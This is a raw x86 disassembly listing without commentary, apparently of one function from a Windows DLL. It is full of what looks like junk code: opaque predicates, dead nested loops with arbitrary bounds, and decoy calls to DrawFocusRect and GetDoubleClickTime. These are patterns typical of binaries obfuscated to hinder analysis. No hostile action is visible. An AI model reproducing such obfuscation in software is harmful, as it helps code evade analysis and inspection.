call fcn.10023628
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
push dword [ebp - 0x164]
push dword [ebp - 0xe4]
lea ecx, [ebp - 0x19b4]
call fcn.10042a4a
mov dword [ebp - 4], 0x34
push 0x1008b084
lea ecx, [ebp - 0x19b4]
call fcn.10042603
lea eax, [ebp - 0x1864]
push eax
lea ecx, [ebp - 0x19b4]
call fcn.10021668
push dword [eax]
lea eax, [ebp - 0x16b8]
push eax
lea ecx, [ebp - 0x19b4]
call fcn.10021654
push dword [eax]
lea ecx, [ebp - 0x1a58]
call fcn.10042a73
mov byte [ebp - 4], 0x35
lea eax, [ebp - 0x1a58]
push eax
call fcn.10025499
pop ecx
mov dword [ebp - 0x65c], eax
cmp dword [ebp - 0x65c], 0
je 0x1003ff5d
push dword [ebp - 0x164]
lea ecx, [ebp - 0x19d8]
call fcn.100425d4
mov byte [ebp - 4], 0x36
lea edx, [ebp - 0xff0]
lea ecx, [ebp - 0x19d8]
call fcn.10024638
movzx eax, al
test eax, eax
je 0x1003ff2d
push 0
push dword [ebp - 0xff0]
push 0
push dword [ebp - 0x65c]
call fcn.10034146
add esp, 0x10
mov dword [ebp - 0xe4], eax
jmp 0x1003ff4c
push 1
push 0
lea eax, [ebp - 0x19d8]
push eax
push dword [ebp - 0x65c]
call fcn.10034146
add esp, 0x10
mov dword [ebp - 0xe4], eax
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x19d8]
call fcn.10020b5f
jmp 0x1003ff93
cmp dword [ebp + 0x10], 0
jne 0x1003ff73
mov ecx, dword [ebp + 0xc]
call fcn.100208b8
mov dword [ebp - 0xd7c], eax
jmp 0x1003ff7d
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0xd7c], eax
push dword [ebp - 0xd7c]
push dword [ebp + 8]
call fcn.1002e54c
pop ecx
pop ecx
mov dword [ebp - 0xe4], eax
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x1a58]
call fcn.10020a85
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x19b4]
call fcn.10020b5f
push 1
lea ecx, [ebp - 0x604]
call fcn.10020bf2
mov dword [ebp - 4], 0x37
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x16c], 0x4185a1fa
mov dword [ebp - 0x1984], 4
mov dword [ebp - 0x174], 0xa2d53575
mov dword [ebp - 0x16c0], 0xfffffff8
mov dword [ebp - 0x5a0], 0
jmp 0x1004000d
mov eax, dword [ebp - 0x5a0]
inc eax
mov dword [ebp - 0x5a0], eax
cmp dword [ebp - 0x5a0], 1
jge 0x1004002f
push dword [ebp - 0x5a0]
lea ecx, [ebp - 0x604]
call fcn.10020c90
mov dword [eax], 1
jmp 0x10040000
mov dword [ebp - 0x40], 0
jmp 0x1004003f
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jg 0x1004008a
mov dword [ebp - 0x5a8], 0
mov dword [ebp - 0x5a8], 0
jmp 0x10040068
mov eax, dword [ebp - 0x5a8]
inc eax
mov dword [ebp - 0x5a8], eax
cmp dword [ebp - 0x5a8], 0
jg 0x10040088
push dword [ebp - 0x40]
lea ecx, [ebp - 0x604]
call fcn.10020c90
cmp dword [eax], 0
je 0x10040086
jmp 0x10040088
jmp 0x1004005b
jmp 0x10040038
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x1870], eax
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x16c8], eax
push 0
lea ecx, [ebp - 0x604]
call fcn.10020c90
cmp dword [ebp - 0x16c], 0
je 0x100400d6
push 0
lea ecx, [ebp - 0x604]
call fcn.10020c90
cmp dword [eax], 0
je 0x100400d6
mov dword [ebp - 0xd84], 1
jmp 0x100400dd
and dword [ebp - 0xd84], 0
push 0
lea ecx, [ebp - 0x604]
call fcn.10020c90
mov eax, dword [eax]
neg eax
sub eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0xd84]
jne 0x10040105
mov dword [ebp - 0xd8c], 1
jmp 0x1004010c
and dword [ebp - 0xd8c], 0
mov eax, dword [ebp - 0xd8c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x16c]
cmp dword [ebp - 0x40], eax
jge 0x1004043f
mov dword [ebp - 0x14b4], 1
mov dword [ebp - 0x14b0], 1
mov dword [ebp - 0x14ac], 1
mov dword [ebp - 0x14a8], 1
mov dword [ebp - 0xdb4], 0xa0e1c2a9
mov dword [ebp - 0x15e8], 0x94bf7d6
mov dword [ebp - 0x15e4], 0x94bf7d6
mov dword [ebp - 0x15e0], 0x94bf7d6
mov dword [ebp - 0x15dc], 0x94bf7d6
lea ecx, [ebp - 0x611]
call fcn.10020c9f
push eax
lea eax, [ebp - 0x15d8]
push eax
lea eax, [ebp - 0x15e8]
push eax
lea ecx, [ebp - 0x1a60]
call fcn.10020ca2
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x18e4]
call fcn.10020c4e
mov byte [ebp - 4], 0x38
mov byte [ebp - 0x182], 0
movzx eax, byte [ebp - 0x182]
test eax, eax
je 0x100402c4
mov dword [ebp - 0xd94], 0x789c
mov dword [ebp - 0xff8], 0x1000ae5c
cmp dword [ebp - 0xd94], 0x7c52
jle 0x1004029e
and dword [ebp - 0x5b0], 0
jmp 0x10040207
mov eax, dword [ebp - 0x5b0]
inc eax
mov dword [ebp - 0x5b0], eax
cmp dword [ebp - 0x5b0], 0x55ea
jge 0x1004029e
and dword [ebp - 0x5b8], 0
jmp 0x1004022d
mov eax, dword [ebp - 0x5b8]
inc eax
mov dword [ebp - 0x5b8], eax
cmp dword [ebp - 0x5b8], 0x3100
jge 0x10040299
and dword [ebp - 0x5c0], 0
jmp 0x1004024f
mov eax, dword [ebp - 0x5c0]
inc eax
mov dword [ebp - 0x5c0], eax
cmp dword [ebp - 0x5c0], 0x50fe
jge 0x10040297
mov eax, dword [ebp - 0x5b0]
cdq
idiv dword [ebp - 0x5b8]
mov ecx, dword [ebp - 0x5c0]
sar edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x12b0], eax
mov dword [ebp - 0x12ac], edx
push dword [ebp - 0x12ac]
push dword [ebp - 0x12b0]
mov ecx, 0x10085b58
call fcn.100208d8
jmp 0x10040242
jmp 0x10040220
jmp 0x100401fa
push 0
push 0
call dword [sym.imp.USER32.dll_DrawFocusRect]
cmp dword [ebp - 0xd94], 0x7685
jge 0x100402c4
mov edx, dword [ebp - 0xff8]
mov ecx, 0x10085b58
call fcn.10023628
cmp dword [ebp - 0x16c], 0xfffffff6
je 0x100402d9
mov dword [ebp - 0xdbc], 1
jmp 0x100402e0
and dword [ebp - 0xdbc], 0
push 0
lea ecx, [ebp - 0x604]
call fcn.10020c90
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14b4]
cmp dword [ebp - 0x40], eax
jl 0x1004030b
mov dword [ebp - 0xd9c], 1
jmp 0x10040312
and dword [ebp - 0xd9c], 0
cmp dword [ebp - 0xd9c], 0x7aa29676
jg 0x1004032a
mov dword [ebp - 0xda4], 1
jmp 0x10040331
and dword [ebp - 0xda4], 0
mov eax, dword [ebp - 0xda4]
neg eax
dec eax
cmp eax, 0x644184eb
jge 0x1004034d
mov dword [ebp - 0xdac], 1
jmp 0x10040354
and dword [ebp - 0xdac], 0
mov eax, dword [ebp - 0xdac]
mov dword [ebp - 0xdb4], eax
cmp dword [ebp - 0xdb4], 0
jne 0x10040384
push 0
lea ecx, [ebp - 0x604]
call fcn.10020c90
cmp dword [eax], 0
jne 0x10040384
and dword [ebp - 0xdc4], 0
jmp 0x1004038e
mov dword [ebp - 0xdc4], 1
mov eax, dword [ebp - 0xdbc]
add eax, dword [ebp - 0xdc4]
cmp eax, dword [ebp - 0x40]
jg 0x100403ab
mov dword [ebp - 0xdcc], 1
jmp 0x100403b2
and dword [ebp - 0xdcc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x14b4]
cmp dword [ebp - 0xdcc], eax
jg 0x100403d3
mov dword [ebp - 0xdd4], 1
jmp 0x100403da
and dword [ebp - 0xdd4], 0
mov esi, dword [ebp - 0x16c]
mov edi, dword [ebp - 0x16c]
push 0
lea ecx, [ebp - 0x604]
call fcn.10020c90
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x14b4], 4
jg 0x1004040f
mov dword [ebp - 0xddc], 1
jmp 0x10040416
and dword [ebp - 0xddc], 0
push 1
lea ecx, [ebp - 0x18e4]
call fcn.10020c90
mov ecx, dword [ebp - 0xddc]
mov dword [eax], ecx
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x18e4]
call fcn.10020c74
jmp 0x10040757
mov dword [ebp - 0x664], 0xfffffffc
mov dword [ebp - 0xde4], 0x53e3
mov dword [ebp - 0x1000], 0x1000ae94
cmp dword [ebp - 0xde4], 0x553c
jle 0x10040548
and dword [ebp - 0x5e0], 0
jmp 0x10040483
mov eax, dword [ebp - 0x5e0]
inc eax
mov dword [ebp - 0x5e0], eax
cmp dword [ebp - 0x5e0], 0x719
jge 0x10040548
and dword [ebp - 0x5c8], 0
jmp 0x100404a9
mov eax, dword [ebp - 0x5c8]
inc eax
mov dword [ebp - 0x5c8], eax
cmp dword [ebp - 0x5c8], 0x6068
jge 0x10040543
and dword [ebp - 0x5d0], 0
jmp 0x100404cf
mov eax, dword [ebp - 0x5d0]
inc eax
mov dword [ebp - 0x5d0], eax
cmp dword [ebp - 0x5d0], 0x2ab4
jge 0x1004053e
and dword [ebp - 0x5d8], 0
jmp 0x100404f1
mov eax, dword [ebp - 0x5d8]
inc eax
mov dword [ebp - 0x5d8], eax
cmp dword [ebp - 0x5d8], 0x1457
jge 0x1004053c
mov ecx, dword [ebp - 0x5c8]
sub ecx, dword [ebp - 0x5d0]
add ecx, dword [ebp - 0x5d8]
mov eax, dword [ebp - 0x5e0]
shl eax, cl
cdq
mov dword [ebp - 0x12bc], eax
mov dword [ebp - 0x12b8], edx
push dword [ebp - 0x12b8]
push dword [ebp - 0x12bc]
mov ecx, 0x10085b58
call fcn.100208d8
jmp 0x100404e4
jmp 0x100404c2
jmp 0x1004049c
jmp 0x10040476
mov dword [ebp - 0x66c], 1
cmp dword [ebp - 0xde4], 0x520c
jge 0x1004056e
mov edx, dword [ebp - 0x1000]
mov ecx, 0x10085b58
call fcn.10023628
mov dword [ebp - 0x1010], 0xeffbb891
mov dword [ebp - 0x5e8], 0
jmp 0x10040591
mov eax, dword [ebp - 0x5e8]
inc eax
mov dword [ebp - 0x5e8], eax
cmp dword [ebp - 0x5e8], 2
jge 0x100405ad
mov eax, dword [ebp - 0x5e8]
mov dword [ebp + eax*4 - 0x1818], 9
jmp 0x10040584
push 0
lea ecx, [ebp - 0x604]
call fcn.10020c90
cmp dword [eax], 1
jl 0x100405cb
mov dword [ebp - 0xdec], 1
jmp 0x100405d2
and dword [ebp - 0xdec], 0
cmp dword [ebp - 0xdec], 0x7779e46e
jl 0x100405ea
mov dword [ebp - 0xdf4], 1
jmp 0x100405f1
and dword [ebp - 0xdf4], 0
cmp dword [ebp - 0xdf4], 0xffff
je 0x10040609
mov dword [ebp - 0xdfc], 1
jmp 0x10040610
and dword [ebp - 0xdfc], 0
mov eax, dword [ebp - 0x664]
cmp dword [ebp - 0xdfc], eax
jle 0x1004062a
mov dword [ebp - 0x1008], 1
jmp 0x10040631
and dword [ebp - 0x1008], 0
push 0
lea ecx, [ebp - 0x604]
call fcn.10020c90
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1818]
mov dword [ebp - 0x1928], eax
mov eax, dword [ebp - 0x664]
mov dword [ebp - 0x16d0], eax
cmp dword [ebp - 0x66c], 0
je 0x10040676
xor eax, eax
je 0x10040676
mov dword [ebp - 0xe04], 1
jmp 0x1004067d
and dword [ebp - 0xe04], 0
cmp dword [ebp - 0xe04], 3
jb 0x10040692
mov dword [ebp - 0xe0c], 1
jmp 0x10040699
and dword [ebp - 0xe0c], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0xe0c], eax
jle 0x100406b0
mov dword [ebp - 0xe14], 1
jmp 0x100406b7
and dword [ebp - 0xe14], 0
mov eax, dword [ebp - 0x664]
sub eax, dword [ebp - 0xe14]
mov dword [ebp - 0x40], eax
jne 0x100406da
cmp dword [ebp - 0x66c], 0
jne 0x100406da
and dword [ebp - 0xe1c], 0
jmp 0x100406e4
mov dword [ebp - 0xe1c], 1
mov eax, dword [ebp - 0xe1c]
mov dword [ebp - 0x174], eax
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x187c], eax
mov eax, dword [ebp - 0x66c]
mov dword [ebp - 0x16d8], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x196c], eax
mov dword [ebp - 0x1010], 0xb35667b2
mov dword [ebp - 0x174], 0
jmp 0x10040734
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0
jg 0x10040757
push dword [ebp - 0x174]
lea ecx, [ebp - 0x604]
call fcn.10020c90
cmp dword [eax], 0
je 0x10040755
jmp 0x10040757
jmp 0x10040727
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x604]
call fcn.10020c74
mov eax, dword [ebp - 0xe4]
jmp 0x100409da
cmp dword [ebp - 0xe24], 0x23d4
jge 0x10040789
push dword [ebp - 0x1018]
call fcn.1006abb3
pop ecx
mov dword [ebp - 0x17c], 0x7d45
mov dword [ebp - 0x674], 0xfffffffb
mov dword [ebp - 0xe2c], 0x4db9
mov dword [ebp - 0x1028], 0x1000aed0
cmp dword [ebp - 0xe2c], 0x4e6b
jle 0x10040867
and dword [ebp - 0x5f0], 0
jmp 0x100407d7
mov eax, dword [ebp - 0x5f0]
inc eax
mov dword [ebp - 0x5f0], eax
cmp dword [ebp - 0x5f0], 0x327c
jge 0x10040867
and dword [ebp - 0x5f8], 0
jmp 0x100407fd
mov eax, dword [ebp - 0x5f8]
inc eax
mov dword [ebp - 0x5f8], eax
cmp dword [ebp - 0x5f8], 0x6d9
jge 0x10040862
mov eax, dword [ebp - 0x5f0]
mov ecx, dword [ebp - 0x5f8]
shl eax, cl
cdq
mov dword [ebp - 0x12c8], eax
mov dword [ebp - 0x12c4], edx
push dword [ebp - 0x12c4]
push dword [ebp - 0x12c8]
lea ecx, [ebp - 0x1cb8]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0x1020], eax
mov ecx, dword [ebp - 0x1020]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x1cb8]
call fcn.100208ae
jmp 0x100407f0
jmp 0x100407ca
mov dword [ebp - 0x1038], 1
cmp dword [ebp - 0xe2c], 0x4ab5
jge 0x10040889
push dword [ebp - 0x1028]
call fcn.1006abb3
pop ecx
mov dword [ebp - 0x5dc], 0
jmp 0x100408a2
mov eax, dword [ebp - 0x5dc]
inc eax
mov dword [ebp - 0x5dc], eax
cmp dword [ebp - 0x5dc], 1
jge 0x100408be
mov eax, dword [ebp - 0x5dc]
mov dword [ebp + eax*4 - 0x1030], 1
jmp 0x10040895
cmp dword [ebp - 0x17c], 1
je 0x100408d3
mov dword [ebp - 0xe34], 1
jmp 0x100408da
and dword [ebp - 0xe34], 0
mov eax, dword [ebp - 0x17c]
imul eax, dword [ebp - 0xe34]
sub eax, dword [ebp - 0x17c]
mov dword [ebp - 0x674], eax
mov eax, dword [ebp - 0x674]
sub eax, dword [ebp - 0x17c]
imul eax, eax, 0xfffffff6
cmp eax, dword [ebp - 0x17c]
jle 0x10040916
mov dword [ebp - 0xe3c], 1
jmp 0x1004091d
and dword [ebp - 0xe3c], 0
cmp dword [ebp - 0xe3c], 0
jne 0x10040938
cmp dword [ebp - 0x674], 0
jne 0x10040938
and dword [ebp - 0xe44], 0
jmp 0x10040942
mov dword [ebp - 0xe44], 1
mov eax, dword [ebp - 0x17c]
cmp dword [ebp - 0xe44], eax
jg 0x1004095c
mov dword [ebp - 0xe4c], 1
jmp 0x10040963
and dword [ebp - 0xe4c], 0
mov eax, dword [ebp - 0x17c]
cmp eax, dword [ebp - 0xe4c]
jle 0x1004097d
mov dword [ebp - 0xe54], 1
jmp 0x10040984
and dword [ebp - 0xe54], 0
cmp dword [ebp - 0xe54], 0xd77cccae
jb 0x1004099c
mov dword [ebp - 0xe5c], 1
jmp 0x100409a3
and dword [ebp - 0xe5c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xe5c]
mov dword [ebp + eax - 0x1030], ecx
mov dword [ebp - 0x1038], 4
mov byte [ebp - 0x198], 0
movzx eax, byte [ebp - 0x198]
test eax, eax
je 0x100409d8
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret